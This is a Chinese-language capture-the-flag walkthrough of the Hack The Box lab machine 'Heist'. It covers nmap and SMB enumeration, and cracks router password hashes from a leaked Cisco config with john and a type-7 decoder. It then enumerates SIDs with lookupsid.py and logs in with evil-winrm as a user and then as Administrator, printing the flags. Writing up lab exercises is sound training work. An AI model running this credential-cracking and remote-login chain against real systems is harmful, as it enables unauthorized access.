

Heist

Nmap 扫描结果如下所示:

```
(kali㉿kali)-[~/Desktop/HTB/Heist]
$ sudo nmap -sC -sV 10.10.10.149 -Pn
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-19 10:12 EDT
Nmap scan report for 10.10.10.149
Host is up (0.28s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
|_ http-title: Support Login Page
|_ Requested resource was login.php
|_ http-cookie-flags:
|   /:
|_ php=PHPSESSID: no; expires=;
|_ httponly flag not set
|_ http-methods:
|_ Potentially risky methods: TRACE
|_ http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ smb2-security-mode:
|   3.1.1:
|_ Message signing enabled but not required
|_ smb2-time:
|   date: 2022-07-19T14:13:32
|_ start_date: N/A
|_ clock-skew: -1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.09 seconds
```

开放有http和samba两种服务, 首先查看samba:

```
(kali㉿kali)-[~/Desktop/HTB/Heist]
$ smbclient -N -L //10.10.10.149
session setup failed: NT_STATUS_ACCESS_DENIED

(kali㉿kali)-[~/Desktop/HTB/Heist]
$ enum4linux 10.10.10.149
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Jul 19 10:15:54 2022

===== ( Target Information ) =====
Target ..... 10.10.10.149
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

===== ( Enumerating Workgroup/Domain on 10.10.10.149 ) =====

[E] Can't find workgroup/domain

===== ( Nbtstat Information for 10.10.10.149 ) =====

Looking up status of 10.10.10.149
No reply from 10.10.10.149

===== ( Session Check on 10.10.10.149 ) =====

[E] Server doesn't allow session using username '', password ''. Aborting remainder of tests.
```

The image is a composite of two screenshots. The top screenshot shows a web browser window with the address bar displaying '10.10.10.149/login.php'. The page has a dark teal background with a faint world map. On the right side, there is a login form titled 'Welcome, please login'. The form includes a 'Username' field with a user icon, a 'Password' field with a lock icon, and a 'Login' button. Below the button are two checkboxes: 'Remember' and 'Login as guest'. A '24 x 7 Support' link is visible at the bottom right of the form.


The bottom screenshot shows a terminal window with the following content:

```
(kali㉿kali)-[~]  
$ dirsearch -u http://10.10.10.149  
  
  _  _  _  _  _  _  _  _  _  _  _  _  _  _  _  _  _  _  _  _  _  _  _  _  _  _  
 (o)(o)(o)(o)(o)(o)(o)(o)(o)(o)(o)(o)(o)(o)(o)(o)(o)(o)(o)(o)(o)(o)(o)(o)(o)(o)  
v0.4.2  
  
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927  
Output File: /home/kali/.dirsearch/reports/10.10.10.149/_22-07-19_10-45-58.txt  
Error Log: /home/kali/.dirsearch/logs/errors-22-07-19_10-45-58.log  
Target: http://10.10.10.149/  
  
[10:45:59] Starting:  
[10:46:08] 403 - 312B - /%2e%2e//google.com  
[10:46:09] 301 - 146B - /js → http://10.10.10.149/js/  
[10:47:08] 403 - 312B - /\..\..\..\..\..\..\..\..\etc\passwd  
[10:48:00] 301 - 155B - /attachments → http://10.10.10.149/attachments/  
[10:48:27] 301 - 147B - /css → http://10.10.10.149/css/  
[10:48:42] 200 - 1KB - /errorpage.php  
[10:48:59] 301 - 150B - /images → http://10.10.10.149/images/  
[10:48:59] 403 - 1KB - /images/  
[10:49:01] 302 - 0B - /index.php → login.php  
[10:49:01] 302 - 0B - /index.pHp → login.php  
[10:49:01] 302 - 0B - /index.php/login/ → login.php  
[10:49:05] 403 - 1KB - /js/  
[10:49:13] 200 - 2KB - /login.php  
Task Completed
```

Recent Issues x +

← → ↻ ⚠ Not secure | 10.10.10.149/issues.php


Issues



Hazard 20 minutes ago


Hi, I've been experiencing problems with my cisco router. Here's a part of the configuration the previous admin had been using. I'm new to this and don't know how to fix it. :(

[Attachment](#)



Support Admin admin 10 minutes ago

Hi, thanks for posting the issue here. We provide fast support and help. Let me take a look and get back to you!



Hazard 10 minutes ago

Thanks a lot. Also, please create an account for me on the windows server as I need to access the files.

点开attachment:

10.10.10.149/attachments/ x Support Login Page x +

← → ↻ ⚠ Not secure | 10.10.10.149/attachments/config.txt

```
version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzSGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
 synchronization
  bgp log-neighbor-changes
  bgp dampening
  network 192.168.0.0 mask 300.255.255.0
  timers bgp 3 9
  redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
  session-timeout 600
  authorization exec SSH
  transport input ssh
```

john解密:

```
(kali㉿kali)-[~/Desktop/HTB/Heist]
$ john --wordlist:/usr/share/wordlists/rockyou.txt temp.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
stealth1agent (?)
1g 0:00:00:27 DONE (2022-07-19 10:37) 0.03690g/s 129348p/s 129348c/s 129348C/s stealthy001..steak7893
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

剩下两个password 7 加密的可以在线上找到工具解密：

CISCO TYPE 7 PASSWORD DECRYPT / DECODER / CRACKER TOOL

WRITTEN BY ADMINISTRATOR. POSTED IN [CISCO ROUTERS - CONFIGURING CISCO ROUTERS](#)

The Firewall.cx **Cisco Password Decoder Tool** (see below) provides readers with the ability to **decrypt 'Type 7'** cisco passwords.



For security reasons, we do not keep any history on decoded passwords.

Enter Your Encrypted Password Below:

Encrypted Password:

Decrypted Password:

CISCO TYPE 7 PASSWORD DECRYPT / DECODER / CRACKER TOOL

WRITTEN BY ADMINISTRATOR. POSTED IN [CISCO ROUTERS - CONFIGURING CISCO ROUTERS](#)

The Firewall.cx **Cisco Password Decoder Tool** (see below) provides readers with the ability to **decrypt 'Type 7'** cisco passwords.



For security reasons, we do not keep any history on decoded passwords.

Enter Your Encrypted Password Below:

Encrypted Password:

Decrypted Password:

使用impacket里面一个名为lookupsid.py的工具：

```
(kali㉿kali)-[~/Desktop/impacket/examples]
$ python3 lookupsid.py Hazard@10.10.10.149
Impacket v0.10.1.dev1+20220606.123812.ac35841f - Copyright 2022 SecureAuth Corporation

Password:
[*] Brute forcing SIDs at 10.10.10.149
[*] StringBinding ncacn_np:10.10.10.149[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
513: SUPPORTDESK\None (SidTypeGroup)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)
```

我们可以找到所有的用户名列表，使用evil-winrm尝试排列组合：

```
(kali㉿kali)-[~/Desktop/impacket/examples]
$ evil-winrm -i 10.10.10.149 -u SUPPORTDESK\\Chase -p 'Q4)sJu\Y8qz*A3?d'

Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Chase\Documents>
```

成功获得user.txt, 同时找到下一步的线索：

```
(kali㉿kali)-[~/Desktop/impacket/examples]
$ evil-winrm -i 10.10.10.149 -u SUPPORTDESK\\Chase -p 'Q4)sJu\Y8qz*A3?d'

Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Chase\Documents> whoami
supportdesk\chase
*Evil-WinRM* PS C:\Users\Chase\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\Chase\desktop> ls

Directory: C:\Users\Chase\desktop

Mode                LastWriteTime         Length Name
----                -
-a-----         4/22/2019   9:08 AM           121 todo.txt
-ar-----         7/19/2022   2:13 PM           34 user.txt

*Evil-WinRM* PS C:\Users\Chase\desktop> type todo.txt
Stuff to-do:
1. Keep checking the issues list.
2. Fix the router config.

Done:
1. Restricted access for guest user.
*Evil-WinRM* PS C:\Users\Chase\desktop> type user.txt
371f54ccf34fcb85a69e2745c5b1bed
*Evil-WinRM* PS C:\Users\Chase\desktop>
```

直接在后台查看他的login.php文件：

最终成功获得root权限：

```
(kali㉿kali)-[~/Desktop/HTB/Heist]
└─$ evil-winrm -i 10.10.10.149 -u SUPPORTDESK\\administrator -s _ -e _ -p '4dD!5)x/re8]FBuZ'

Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
supportdesk\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt
31d3e5bdc88e3b4457bc77366033319c
*Evil-WinRM* PS C:\Users\Administrator\desktop> █
```